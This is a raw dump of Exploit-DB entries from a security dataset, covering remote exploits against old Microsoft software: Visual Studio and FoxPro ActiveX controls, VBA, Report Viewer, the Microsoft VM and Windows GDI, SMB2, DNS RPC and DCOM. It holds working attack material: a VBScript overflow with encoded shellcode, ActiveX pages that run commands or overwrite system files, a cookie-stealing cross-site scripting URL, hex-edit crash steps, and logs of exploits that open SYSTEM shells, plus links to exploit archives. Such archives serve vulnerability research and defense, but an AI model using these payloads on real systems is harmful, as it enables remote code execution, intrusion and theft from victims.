deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4259
Description: Microsoft Visual 6 - 'VDT70.dll NotSafe' Remote Stack Overflow
Type: remote
Platform: windows
Date: 2007-08-06
Author: DeltahackingTEAM

Exploit:
<!--============================================================================
( Microsoft Visual 6 ) VDT70.DLL Stack Overflow Exploit
DeltahackingSecurityTEAM
Bug discovered by D_7J
Affected Software: VDT70.DLL (Microsoft Visual Database Tools Database Designer V7.0) ,
Company Dll : Microsoft, Inc.
www.Deltahacking.net
www.Deltasecurity.ir
Tested on Windows XP Professional SP2 full patched, with Internet Explorer 6
This exploit was written for working on Windows XP Professional SP2
==============================================================================-->
<html>
 <object classid='clsid:03cb9467-fd9d-42a8-82f9-8615b4223e6e' id='test'></object>
  <script language = 'vbscript'>
   jojo      = String(380,"A")

   get_EIP   = unescape("%EB%AA%D7%77")

   GM     = String(92,"A")

   nop       = unescape("%90%90%90%90%90%90%90%90%90%90")

   shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
               unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
               unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
               unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
               unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
               unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
               unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
               unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
               unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
               unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
               unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
               unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
               unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
               unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
               unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
               unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
               unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
               unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
               unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
               unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
               unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
               unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

   egg       = jojo + get_EIP + GM + get_EIP + nop + shellcode + nop

   test.NotSafe egg

 </script>
</html>

# milw0rm.com [2007-08-06]
Exploit-DB #23094
Description: Microsoft Visual Basic For Applications SDK 5.0/6.0/6.2/6.3 - Document Handling Buffer Overrun
Type: remote
Platform: windows
Date: 2003-09-03
Author: eEye Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/8534/info

A vulnerability has been discovered in Microsoft Visual Basic for Applications. The vulnerability occurs because the software fails to perform sufficient boundary checks when parsing specific properties of malformed documents. As a result, a malformed document may trigger a buffer overrun within the affected application, effectively allowing arbitrary code to run.

Internet Explorer is also reportedly an attack vector, since it may call helper applications when handling certain document types. 

1. Open Word.
2. Select "Insert" - "Object"
3. Select "MSPropertyTreeCtl Class" (You can also select other objects such
as ChoiceBox Class, etc)
4. Save .doc file.
5. Modify .doc file by using binary editor as follows:

5a. Find following strings in doc file.

ID="{1FE45957-2625-4B1E-ADEF-EC04B7F34CCF}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="1E1C0125015D1B611B611B611B61"
DPB="4B[PII_REDACTED]804680"
GC="787A[PII_REDACTED]67"

5b. Change "ID" from:

+0000 49 44 3D 22 7B 31 46 45 34 35 39 35 37 2D 32 36 ID="{1FE45957-26
+0010 32 35 2D 34 42 31 45 2D 41 44 45 46 2D 45 43 30 25-4B1E-ADEF-EC0
+0020 34 42 37 46 33 34 43 43 46 7D 22 0D 0A 44 6F 63 4B7F34CCF}"..Doc
+0030 75 6D 65 6E 74 3D 54 68 69 73 44 6F 63 75 6D 65 ument=ThisDocume

to the following:

+0000 49 44 3D 22 7B 61 61 61 61 61 61 61 61 61 61 61 ID="{aaaaaaaaaaa
+0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
+0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
+0030 61 61 61 61 41 42 43 44 00 00 00 00 aaaaABCD....

6. Open modified doc file.
7. You'll be able to see an access violation such as...

65106055 FF 52 0C call dword ptr [edx+0Ch]

EAX = 023219A4 EBX = 0232194B ECX = 02311AC4
EDX = 44434241 ESI = 0231186C EDI = 02321940
EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8

**UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
Exploit-DB #4506
Description: Microsoft Visual FoxPro 6.0 - 'FPOLE.OCX' Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2007-10-09
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Microsoft Visual FoxPro 6.0 FPOLE.OCX Arbitrary Command Execution</b>
 url: http://www.microsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 <b>Technical Details
 File: FPOLE.OCX
 Version: 6.0.8450.0
 MD5: E9A1D8CFE6C791BA76B7343FA39752FB
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 
 When I released this <a href='http://www.milw0rm.com/exploits/4369'>http://www.milw0rm.com/exploits/4369</a> I never thought
 it was possible to use the "FoxDoCmd()" method to run applications passed
 as argument but...
-----------------------------------------------------------------------------

<object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.FoxDoCmd "RUN cmd.exe /c notepad.exe", "Something"
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-09]
Exploit-DB #27073
Description: Microsoft Visual Studio - UserControl Remote Code Execution (2)
Type: remote
Platform: windows
Date: 2006-01-12
Author: priestmaster

Exploit:
source: https://www.securityfocus.com/bid/16225/info
 
Microsoft Visual Studio is prone to a vulnerability that could allow remote attackers to execute arbitrary code. This issue stems from a design flaw that executes code contained in a project file without first notifying users.
 
Exploiting this issue allows attackers to execute arbitrary code in the context of the user viewing a malicious project file. Since viewing a project file is usually considered a safe operation, users may have a false sense of security by attempting to inspect unknown code before compiling or executing it.
 
This vulnerability may be remotely exploited due to project files originating from untrusted sources.
 
Visual Studio 2005 is reportedly vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27073.zip
Exploit-DB #4393
Description: Microsoft Visual Studio 6.0 - 'PDWizard.ocx' Remote Command Execution
Type: remote
Platform: windows
Date: 2007-09-11
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------------------------
 <b>Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b><font color='red'>greetz to: Wiz001 (be safe brotha... and see soon :D)</font></b>

 <b>Description:
 This ocx contains a lot of extreme dangerous methods. Theese two are very interesting, they are:
 "StartProcess()" and "SyncShell()"
 Using one of them, you'll be able to run every program you like, simply giving to the method the 
 right argument.
 In this PoC, I use the "StartProcess()" method to execute the calc.exe, but you can do everything
 you like.
 Anyway, I think you could imagine what impact could have this kind of vulnerability :D

 Other dangerous methods of this ocx are:
 "SaveAs()"
 "CABDefaultURL()"
 "CABFileName()"
 "CABRunFile()"</b>
------------------------------------------------------------------------------------------------------

<object classid='clsid:0DDF3C0B-E692-11D1-AB06-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  test.StartProcess "c:\windows\system32\calc.exe", "False" 'you can change with your favourite application ;)
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-11]
Exploit-DB #4394
Description: Microsoft Visual Studio 6.0 - 'VBTOVSI.dll 1.0.0.0' File Overwrite
Type: remote
Platform: windows
Date: 2007-09-11
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">---------------------------------------------------------------------------------------------------------
 <b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Using the "Load()" method we can load the content of a file from local machine passed as argument to
 this function and then save it into arbitrary location with the "SaveAs()" method.
 This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method
 remote directories (http) but, unfortunately, it accepts only local directories.</b>
---------------------------------------------------------------------------------------------------------

<object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  test.Load "c:\windows\system32\cmd.exe" 'or just some existing file
  test.SaveAs "c:\windows\system_.ini"
  MsgBox "Exploit completed!"
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-09-11]
Exploit-DB #36020
Description: Microsoft Visual Studio Report Viewer 2005 Control - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2011-08-09
Author: Adam Bixby

Exploit:
source: https://www.securityfocus.com/bid/49033/info

Microsoft Visual Studio is prone to multiple cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to spoof content or disclose sensitive information. 

https://www.example.com/Reserved.ReportViewerWebControl.axd?Mode=true&ReportID=%3CarbitraryIDvalue%3E&ControlID=%3CvalidControlID%3E&Culture=1033&UICulture=1033&ReportStack=1&OpType=SessionKeepAlive&TimerMethod=KeepAliveMethodctl00_PlaceHolderMain_SiteTopUsersByHits_ctl00TouchSession0;alert(document.cookie);//&CacheSeed=
Exploit-DB #21808
Description: Microsoft VM 2000/3000/3100/3188/3200/3300/3802/3805 series - JDBC Class Code Execution
Type: remote
Platform: windows
Date: 2002-09-19
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/5751/info

Java Database Connectivity (JDBC) classes are used by the Virtual Machine to provide connectivity to various data sources.

It is possible to spoof a JDBC class request to make it appear as though it came from an authorized applet. This could allow execution of any DLL on the system by a remote attacker.

new com.ms.jdbc.odbc.JdbcOdbc("C:\\mydll\000");

This results in the malicious applet loading the attacker-supplied DLL 'C:\mydll.dll'.
Exploit-DB #3804
Description: Microsoft Windows - '.ani' GDI Remote Privilege Escalation (MS07-017)
Type: remote
Platform: windows
Date: 2007-04-26
Author: Lionel d'Hauenens

Exploit:
MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3804.zip (04262007-gdi_remote_elevation_privilege_exploit_ms07_017_principal.zip)

# milw0rm.com [2007-04-26]
Exploit-DB #14674
Description: Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050)
Type: remote
Platform: windows
Date: 2010-08-17
Author: Piotr Bania

Exploit:
Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.


Sample usage
------------

> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

When all is done it should spawn a port TARGET_IP:28876


RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:
http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14674.zip (smb2_exploit_release.zip)
Exploit-DB #3636
Description: Microsoft Windows - Animated Cursor '.ani' Remote (eeye patch Bypass)
Type: remote
Platform: windows
Date: 2007-04-01
Author: jamikazu

Exploit:
..::[ jamikazu presents ]::..

Windows Animated Cursor Handling Exploit (0day) (Version3)

Works on fully patched Windows Vista
I think it is first real remote code execution exploit on vista =)

Tested on:
Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows XP SP2 
(It also must to work on all nt based windows but not tested)

Update: It also bypass eeye security ani patch!

Author: jamikazu 
Mail: jamikazu@gmail.com

Bug discovered by determina (http://www.determina.com)

Credit: milw0rm,metasploit, SkyLined, http://doctus.net/

invokes calc.exe if successful 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3636.zip (04012007-exp.zip)

# milw0rm.com [2007-04-01]
Exploit-DB #3651
Description: Microsoft Windows - Animated Cursor '.ani' Universal Generator
Type: remote
Platform: windows
Date: 2007-04-03
Author: YAG KOHHA

Exploit:
#--------------------------------------------------------------------------------
# Info: .ANI (RIFF Cursors) 2007 universal exploit generator
# Tested on MS Internet Explorer 6.x-7.x, Windows XP SP2, Windows Vista
# Author: Yag Kohha <skyhole [at] gmail.com>
# 10x`n`Gr33tz 2:
# Jamikazu, Skylined (pretty good t-short on BH07 Europe - L00k like skylined, skylined, skylined)
# H.D. Moor and metasploit project
# Kumar Brothers (tnx for Vista patch live show at BH07 Europe), 
# Alexander Sotirov (tnx for "Heap Feng Shui" live show at BH07 Europe), str0ke
# Microsoft for great coding and Amsterdam (BH07 Europe) party
#--------------------------------------------------------------------------------

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3651.tar.gz (04032007-ie_ani.tar.gz)

# milw0rm.com [2007-04-03]
Exploit-DB #3022
Description: Microsoft Windows - ASN.1 Remote (MS04-007)
Type: remote
Platform: windows
Date: 2004-03-26
Author: Solar Eclipse

Exploit:
# Microsoft ASN.1 remote exploit for CVE-2005-1935 // MS04-007
# Solar Eclipse
# solareclipse at phreedom dot org

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3022.tar.gz (12262006-killbill.tar.gz)

# milw0rm.com [2004-03-26]
Exploit-DB #22917
Description: Microsoft Windows - DCOM RPC Interface Buffer Overrun
Type: remote
Platform: windows
Date: 2003-08-11
Author: aT4r@3wdesign.es

Exploit:
source: https://www.securityfocus.com/bid/8205/info
   
A buffer overrun vulnerability has been reported in Microsoft Windows that can be exploited remotely via a DCOM RPC interface that listens on TCP/UDP port 135. The issue is due to insufficient bounds checking of client DCOM object activation requests. Exploitation of this issue could result in execution of malicious instructions with Local System privileges on an affected system.
   
This issue may be exposed on other ports that the RPC Endpoint Mapper listens on, such as TCP ports 139, 135, 445 and 593. This has not been confirmed. Under some configurations the Endpoint Mapper may receive traffic via port 80.
   
** There have been unconfirmed reports that Windows 9x systems with certain software installed may also be vulnerable to this issue. Reportedly, Windows 98 systems with .NET software installed may be vulnerable according to scans using various DCOM RPC vulnerability scanning tools. Symantec has not confirmed this behaviour and it may in fact be due to false positives generated by the scanners.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22917.zip
Exploit-DB #2054
Description: Microsoft Windows - DHCP Client Broadcast (MS06-036)
Type: remote
Platform: windows
Date: 2006-07-21
Author: redsand

Exploit:
MS Windows DHCP Client Broadcast Attack Exploit (MS06-036)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2054.tar.gz (07212006-MS06_036_DHCP_Client.tar.gz)

# milw0rm.com [2006-07-21]
Exploit-DB #3746
Description: Microsoft Windows - DNS RPC Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2007-04-18
Author: Andres Tarasco

Exploit:
  Exploit v2 features:
  - Target Remote port 445 (by default but requires auth)
  - Manual target for dynamic tcp port (without auth)
  - Automatic search for dynamic dns rpc port
  - Local and remote OS fingerprinting (auto target)
  - Windows 2000 server and Windows 2003 server (Spanish) supported by default
  - Fixed bug with Windows 2003 Shellcode
  - Universal local exploit for Win2k (automatic search for opcodes)
  - Universal local and remote exploit for Win2k3 (/GS bypassed only with DEP disabled)
  - Added targets for remote win2k English and italian (not tested, found with metasploit opcode database. please report your owns)
  - Microsoft RPC api used ( who cares? :p )


D:\ProgramaciÃƒÂ³n\DNSTEST>dnstest
 --------------------------------------------------------------
 Microsoft Dns Server local & remote RPC Exploit code
 Exploit code by Andres Tarasco & Mario Ballano
 Tested against Windows 2000 server SP4 and Windows 2003 SP2
 --------------------------------------------------------------

 Usage:   dnstest -h 127.0.0.1 (Universal local exploit)
          dnstest -h host [-t id] [-p port]
 Targets:
      0 (0x30270b0b) - Win2k3 server SP2 Universal - (default for win2k3)
      1 (0x79467ef8) - Win2k  server SP4 Spanish -   (default for win2k )
      2 (0x7c4fedbb) - Win2k  server SP4 English
      3 (0x7963edbb) - Win2k  server SP4 Italian
      4 (0x41414141) - Windows all Denial of Service


D:\ProgramaciÃƒÂ³n\DNSTEST>dnstest.exe -h 192.168.1.2
 --------------------------------------------------------------
 Microsoft Dns Server local & remote RPC Exploit code
 Exploit code by Andres Tarasco & Mario Ballano
 Tested against Windows 2000 server SP4 and Windows 2003 SP2
 --------------------------------------------------------------

[+] Trying to fingerprint target.. (05.02)
[+] Remote Host identified as Windows 2003
[-] No port selected. Trying Ninja sk1llz
[+] Binding to ncacn_ip_tcp: 192.168.1.2
[+] Found 50abc2a4-574d-40b3-9d66-ee4fd5fba076 version 5.0
[+] RPC binding string: ncacn_ip_tcp:192.168.1.2[1105]
[+] Dynamic DNS rpc port found (1105)
[+] Connecting to 50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_ip_tcp:192.168.1.2[1105]
[+] RpcBindingFromStringBinding success
[+] Sending Exploit code to DnssrvOperation()
[+] Now try to connect to port 4444


also available at

http://514.es/Microsoft_Dns_Server_Exploit_v2.1.zip
http://www.48bits.com/exploits/dnsxpl.v2.1.zip 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3746.zip (04172007-dnsxpl.v2.1.zip)

# milw0rm.com [2007-04-18]
Exploit-DB #6656
Description: Microsoft Windows - GDI (EMR_COLORMATCHTOTARGETW) (MS08-021)
Type: remote
Platform: windows
Date: 2008-10-02
Author: Ac!dDrop

Exploit:
EMR_COLORMATCHTOTARGETW stack buffer overflow exploit
By Ac!dDrop

This is one of the 2 Vulnerabilities of MS08-021

Tested on Windows xp professional SP1
GDi32.dll    5.1.2600.1106
kernel32.dll 5.1.2600.1106
ws2_32.dll   5.1.2600.0

calc.zip---> executes calculator
IE.zip and localhost.zip ------>  connects at localhost at port 230


On Windows Xp Sp2 only causes Denial of service.
 -(Vulnerable function guarded with a GS cookie)
 -(The function which copies data to stack has an exception handler which recovers from access violations so u cant exploit it by hitting next page ).

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6656.tgz (2008-Gdi.tgz)

# milw0rm.com [2008-10-02]